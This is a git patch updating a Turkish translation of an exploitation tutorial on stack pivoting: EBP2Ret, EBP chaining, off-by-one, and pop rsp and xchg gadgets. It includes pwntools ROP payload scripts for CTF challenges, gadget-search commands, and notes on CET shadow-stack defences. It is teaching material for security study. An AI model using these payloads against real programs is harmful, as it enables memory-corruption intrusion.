From 34b6cf6438f3b86b0e3bf72cef2de94cc9e94224 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 16:16:02 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r --- .../stack-pivoting-ebp2ret-ebp-chaining.md | 169 ++++++++++++------ 1 file changed, 117 insertions(+), 52 deletions(-) diff --git a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md index a4a1d54c3..7a4d0b156 100644 --- a/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md +++ b/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md @@ -4,59 +4,63 @@ ## Temel Bilgiler -Bu teknik, **Base Pointer (EBP)**'yi manipüle etme yeteneğini kullanarak, EBP kaydının dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme yeteneğini istismar eder. +Bu teknik, **Base Pointer (EBP/RBP)**'ı manipüle etme yeteneğinden yararlanarak, çerçeve işaretçisinin dikkatli kullanımı ve **`leave; ret`** talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme işlemini gerçekleştirir. -Hatırlatmak gerekirse, **`leave`** temelde şunu ifade eder: +Hatırlatmak gerekirse, x86/x86-64 üzerinde **`leave`** şuna eşdeğerdir: ``` -mov ebp, esp -pop ebp +mov rsp, rbp ; mov esp, ebp on x86 +pop rbp ; pop ebp on x86 ret ``` -Ve **EBP yığında** EIP'den önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür. +Ve kaydedilmiş **EBP/RBP yığın içinde** kaydedilmiş EIP/RIP'ten önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür. + +> Notlar +> - 64-bit'te, EBP'yi RBP ve ESP'yi RSP ile değiştirin. Anlamlar aynıdır. +> - Bazı derleyiciler çerçeve işaretçisini atlar (bkz. “EBP kullanılmayabilir”). Bu durumda, `leave` görünmeyebilir ve bu teknik çalışmayacaktır. ### EBP2Ret -Bu teknik, **EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır. +Bu teknik, **kaydedilmiş EBP/RBP'yi değiştirebildiğiniz ancak EIP/RIP'yi doğrudan değiştirme yolunuzun olmadığı** durumlarda özellikle yararlıdır. Fonksiyon epilog davranışını kullanır. -Eğer `fvuln`'in çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir **sahte EBP** enjekte etmeyi başarırsanız (artı `pop` işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. `fvuln` döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki `pop` işlemi ESP'yi 4 azaltır, **etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.**\ -**2 adresi bilmeniz gerektiğine dikkat edin**: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer. +Eğer `fvuln`'ın yürütülmesi sırasında, yığında shellcode/ROP zincir adresinizin bulunduğu bir bellek alanına işaret eden **sahte bir EBP** enjekte etmeyi başarırsanız (amd64 için 8 bayt / x86 için 4 bayt `pop` için), RIP'yi dolaylı olarak kontrol edebilirsiniz. Fonksiyon dönerken, `leave` RSP'yi oluşturulmuş konuma ayarlar ve sonraki `pop rbp` RSP'yi azaltır, **etkili bir şekilde oraya saldırgan tarafından saklanan bir adrese işaret eder**. Ardından `ret` bu adresi kullanacaktır. + +İki adresi **bilmeniz gerektiğini unutmayın**: ESP/RSP'nin gideceği adres ve `ret`'in tüketeceği o adreste saklanan değer. #### Exploit Yapısı -Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. ESP buraya işaret edecek ve **ilk `ret`** çalıştırılacak. +Öncelikle, **rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir**. RSP buraya işaret edecek ve **ilk `ret`'i tüketecektir**. -Sonra, **rastgele kodu çalıştıracak** `ret` tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz: +Sonra, **yürütmeyi aktaracak** `ret` tarafından kullanılan adresi seçmeniz gerekir. Şunları kullanabilirsiniz: - Geçerli bir [**ONE_GADGET**](https://github.com/david942j/one_gadget) adresi. -- **`system()`** adresi, ardından **4 gereksiz byte** ve `"/bin/sh"` adresi (x86 bitleri). -- **`jump esp;`** gadget'ının adresi ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ardından çalıştırılacak **shellcode**. -- Bazı [**ROP**](../rop-return-oriented-programing/index.html) zincirleri. +- **`system()`** adresi, ardından uygun dönüş ve argümanlar (x86'da: `ret` hedefi = `&system`, ardından 4 gereksiz bayt, sonra `&"/bin/sh"`). +- Bir **`jmp esp;`** gadget'ının adresi ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ardından satır içi shellcode. +- Yazılabilir bellek içinde aşamalı bir [**ROP**](../rop-return-oriented-programing/index.html) zinciri. -Kontrollü bellek kısmındaki bu adreslerden önce **`4` byte** bulunması gerektiğini unutmayın, çünkü **`pop`** kısmı `leave` talimatının bir parçasıdır. Bu 4B'yi, **ikinci sahte EBP** ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür. +Bu adreslerin kontrol edilen alandaki herhangi birinin önünde, `leave`'den gelen **`pop ebp/rbp`** için **yer olması gerektiğini** unutmayın (amd64'de 8B, x86'da 4B). Bu baytları, **ikinci sahte EBP** ayarlamak ve ilk çağrı döndükten sonra kontrolü sürdürmek için kullanabilirsiniz. #### Off-By-One Exploit -Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. **EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz** durumlarda kullanılır. Böyle bir durumda, **`ret`** ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir.\ -Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00 değiştirilir. +Sadece **kaydedilmiş EBP/RBP'nin en az anlamlı baytını değiştirebildiğiniz** bir varyant vardır. Bu durumda, **`ret`** ile atlamak için adresi saklayan bellek konumu, orijinal EBP/RBP ile ilk üç/beş baytı paylaşmalıdır, böylece 1 baytlık bir yazma işlemi onu yönlendirebilir. Genellikle düşük bayt (offset 0x00) mümkün olduğunca yakın bir sayfa/hizalanmış bölge içinde atlamak için artırılır. -Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve nihai ROP zincirinin çalıştırılması daha olası hale gelir. +Yığın içinde bir RET kaydı kullanmak ve gerçek ROP zincirini en sona koymak da yaygındır, böylece yeni RSP'nin kaydın içinde işaret etmesi ve son ROP zincirinin yürütülmesi olasılığı artar. -### **EBP Zincirleme** +### EBP Zincirleme -Bu nedenle, yığın üzerindeki `EBP` girişine kontrol edilen bir adres koyarak ve `EIP`'de `leave; ret` adresi koyarak, **`ESP`'yi yığın üzerindeki kontrol edilen `EBP` adresine taşımak mümkündür**. +Yığın içinde kaydedilmiş `EBP` slotuna kontrol edilen bir adres yerleştirerek ve `EIP/RIP` içinde bir `leave; ret` gadget'ı ile, **`ESP/RSP`'yi saldırgan kontrolündeki bir adrese taşımak mümkündür**. -Artık, **`ESP`** istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir `RET`. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür: +Artık `RSP` kontrol altında ve bir sonraki talimat `ret`. Kontrol edilen belleğe şunları yerleştirin: -- **`&(next fake EBP)`** -> `leave` talimatından `pop ebp` nedeniyle yeni EBP'yi yükle -- **`system()`** -> `ret` tarafından çağrılır -- **`&(leave;ret)`** -> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşır ve tekrar başlar -- **`&("/bin/sh")`**-> `system` için parametre +- `&(next fake EBP)` -> `leave`'den `pop ebp/rbp` ile yüklendi. +- `&system()` -> `ret` ile çağrıldı. +- `&(leave;ret)` -> `system` sona erdikten sonra, RSP'yi bir sonraki sahte EBP'ye taşır ve devam eder. +- `&("/bin/sh")` -> `system` için argüman. -Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür. +Bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür. -Bu, [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir. +Bu, bir [ret2lib](../rop-return-oriented-programing/ret2lib/index.html) gibidir, ancak daha karmaşık ve yalnızca kenar durumlarında yararlıdır. -Ayrıca, bu tekniği kullanan bir [**challenge örneği**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) burada bulunmaktadır ve bir **stack leak** ile kazanan bir fonksiyonu çağırır. Bu sayfanın son yükü: +Ayrıca, bu tekniği bir **stack leak** ile kazanan bir fonksiyonu çağırmak için kullanan bir [**örnek zorluk**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) var. Bu, sayfanın son yüklemesidir: ```python from pwn import * @@ -72,7 +76,7 @@ POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( -0x0, # rbp (could be the address of anoter fake RBP) +0x0, # rbp (could be the address of another fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, @@ -81,23 +85,24 @@ POP_RSI_R15, elf.sym['winner'] ) -payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP) +payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP) payload += flat( -buffer, # Load leak address in RBP -LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it +buffer, # Load leaked address in RBP +LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` +> amd64 hizalama ipucu: System V ABI, çağrı noktalarında 16 baytlık yığın hizalaması gerektirir. Eğer zinciriniz `system` gibi fonksiyonları çağırıyorsa, hizalamayı korumak ve `movaps` çöküşlerini önlemek için çağrıdan önce bir hizalama aparatı ekleyin (örneğin, `ret` veya `sub rsp, 8 ; ret`). + ## EBP kullanılmayabilir -As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili bazı optimizasyonlarla derlenmişse, **EBP asla ESP'yi kontrol edemez**, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.\ -Bu, **prolog ve epilog değişiklikleri** ikili optimize edildiğinde gerçekleşir. +[**bu yazıda açıklandığı gibi**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), eğer bir ikili bazı optimizasyonlarla veya çerçeve işaretçisi hariç tutulmuş olarak derlenmişse, **EBP/RBP asla ESP/RSP'yi kontrol etmez**. Bu nedenle, EBP/RBP'yi kontrol ederek çalışan herhangi bir istismar başarısız olacaktır çünkü prolog/epilog çerçeve işaretçisinden geri yükleme yapmaz. -- **Optimize edilmemiş:** +- Optimize edilmemiş / çerçeve işaretçisi kullanıldı: ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp @@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` -- **Optimize edilmiş:** +- Optimize edilmiş / çerçeve işaretçisi atlandı: ```bash -push %ebx # save ebx +push %ebx # save callee-saved register sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size -pop %ebx # restore ebx +pop %ebx # restore ret # return ``` -## RSP'yi Kontrol Etmenin Diğer Yolları +On amd64 genellikle `pop rbp ; ret` yerine `leave ; ret` görürsünüz, ancak çerçeve işaretçisi tamamen atlandığında, üzerinden geçilecek `rbp`-tabanlı bir epilog yoktur. -### **`pop rsp`** aracı +## RSP'yi kontrol etmenin diğer yolları -[**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` aracı** vardı ve **stack'ten bir leak** vardı: +### `pop rsp` gadget + +[**Bu sayfada**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir **`pop rsp` gadget** vardı ve **stack'ten bir leak** vardı: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments @@ -167,7 +174,7 @@ pause() p.sendline(payload) print(p.recvline()) ``` -### xchg \, rsp gadget +### xchg , rsp gadget ``` pop <=== return pointer @@ -181,20 +188,67 @@ ret2esp tekniğini burada kontrol edin: ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} -## Referanslar ve Diğer Örnekler +### Pivot gadget'larını hızlı bulma -- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) -- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) -- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) -- 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı -- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) -- 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini almak için WWW'yi kullanın. Ardından, `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır. +Klasik pivot primitive'leri aramak için favori gadget bulucunuzu kullanın: + +- `leave ; ret` fonksiyonlarda veya kütüphanelerde +- `pop rsp` / `xchg rax, rsp ; ret` +- `add rsp, ; ret` (veya x86'da `add esp, ; ret`) + +Örnekler: +```bash +# Ropper +ropper --file ./vuln --search "leave; ret" +ropper --file ./vuln --search "pop rsp" +ropper --file ./vuln --search "xchg rax, rsp ; ret" + +# ROPgadget +ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" +``` +### Klasik pivot sahneleme deseni + +Birçok CTF'de/sömürüde kullanılan sağlam bir pivot stratejisi: + +1) `read`/`recv` çağrısı yapmak için küçük bir başlangıç taşması kullanın ve büyük yazılabilir bir alana (örneğin, `.bss`, heap veya haritalanmış RW bellek) tam bir ROP zinciri yerleştirin. +2) RSP'yi o alana taşımak için bir pivot gadget'ına (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) geri dönün. +3) Sahneleme zincirine devam edin (örneğin, libc'yi sızdırın, `mprotect` çağrısı yapın, ardından shellcode'u `read` edin, sonra ona atlayın). + +## Yığın pivotlamayı kıran modern önlemler (CET/Gölge Yığın) + +Modern x86 CPU'ları ve işletim sistemleri giderek daha fazla **CET Gölge Yığın (SHSTK)** kullanıyor. SHSTK etkinleştirildiğinde, `ret` normal yığındaki dönüş adresini donanım korumalı gölge yığın ile karşılaştırır; herhangi bir uyumsuzluk, bir Kontrol-Koruma hatası oluşturur ve süreci sonlandırır. Bu nedenle, EBP2Ret/leave;ret tabanlı pivotlar gibi teknikler, pivotlanmış bir yığından ilk `ret` çalıştırıldığında çökebilir. + +- Arka plan ve daha derin detaylar için bakınız: + +{{#ref}} +../common-binary-protections-and-bypasses/cet-and-shadow-stack.md +{{#endref}} + +- Linux'ta hızlı kontroller: +```bash +# 1) Is the binary/toolchain CET-marked? +readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' + +# 2) Is the CPU/kernel capable? +grep -E 'user_shstk|ibt' /proc/cpuinfo + +# 3) Is SHSTK active for this process? +grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss) + +# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags +(gdb) checksec +``` +- Laboratuvarlar/CTF için notlar: +- Bazı modern dağıtımlar, donanım ve glibc desteği mevcut olduğunda CET etkinleştirilmiş ikili dosyalar için SHSTK'yı etkinleştirir. VM'lerde kontrollü testler için, SHSTK sistem genelinde `nousershstk` çekirdek önyükleme parametresi ile devre dışı bırakılabilir veya başlangıçta glibc ayarları aracılığıyla seçici olarak etkinleştirilebilir (bkz. referanslar). Üretim hedeflerinde önlemleri devre dışı bırakmayın. +- JOP/COOP veya SROP tabanlı teknikler bazı hedeflerde hala geçerli olabilir, ancak SHSTK özellikle `ret` tabanlı pivotları kırar. + +- Windows notu: Windows 10+ kullanıcı modunu açar ve Windows 11, gölge yığınlar üzerine inşa edilmiş "Donanım ile Zorlanan Yığın Koruması"nı ekler. CET uyumlu süreçler, `ret`'te yığın pivotlamayı/ROP'u engeller; geliştiriciler CETCOMPAT ve ilgili politikalar aracılığıyla katılır (bkz. referans). ## ARM64 -ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** komutu SP tarafından işaret edilen adrese dönmez, ancak **`x30`** içindeki adrese döner. +ARM64'te, fonksiyonların **prologları ve epilogları** **SP kaydını** yığında saklamaz ve geri almaz. Dahası, **`RET`** talimatı SP tarafından işaret edilen adrese değil, **`x30`** içindeki adrese döner. -Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz** yığın içindeki bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, **`x30`** kaydını **kontrol etmenin** bir yoluna ihtiyacınız olacaktır. +Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak **SP kaydını kontrol edemezsiniz**; yığında bazı verileri yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, **`x30`** kaydını kontrol etmenin bir yoluna ihtiyacınız olacaktır. - prolog @@ -213,12 +267,23 @@ ret ``` > [!CAUTION] -> ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, **`SP`'yi kontrol edebilmek** (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından **epilogu kötüye kullanarak** **kontrollü bir `SP`'den** **`x30`** kaydını yüklemek ve **`RET`** ile ona dönmektir. +> ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, **`SP`'yi kontrol edebilmek** (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından **epilogu kötüye kullanarak** **kontrollü bir `SP`'den** **`x30`** kaydını yükleyip **`RET`** yapmaktır. -Ayrıca, aşağıdaki sayfada **Ret2esp'in ARM64'teki** eşdeğerini görebilirsiniz: +Ayrıca, aşağıdaki sayfada **Ret2esp'in ARM64'teki eşdeğeri** görülebilir: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} +## Referanslar + +- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) +- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) +- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) +- 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı +- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) +- 64 bit, relro, canary, nx ve pie yok. Program, yığın veya pie için bir sızıntı ve bir qword'un WWW'sini sağlar. Önce yığın sızıntısını alın ve WWW'yi kullanarak geri dönüp pie sızıntısını alın. Ardından, WWW'yi kullanarak `.fini_array` girişlerini kötüye kullanarak sonsuz bir döngü oluşturun + `__libc_csu_fini` çağrısı ([daha fazla bilgi burada](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır. +- Linux çekirdek belgeleri: Kontrol akışı Uygulama Teknolojisi (CET) Gölge Yığın — SHSTK, `nousershstk`, `/proc/$PID/status` bayrakları ve `arch_prctl` aracılığıyla etkinleştirme hakkında ayrıntılar. https://www.kernel.org/doc/html/next/x86/shstk.html +- Microsoft Learn: Çekirdek Modu Donanım ile Zorlanan Yığın Koruması (Windows'taki CET gölge yığınlar). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection + {{#include ../../banners/hacktricks-training.md}}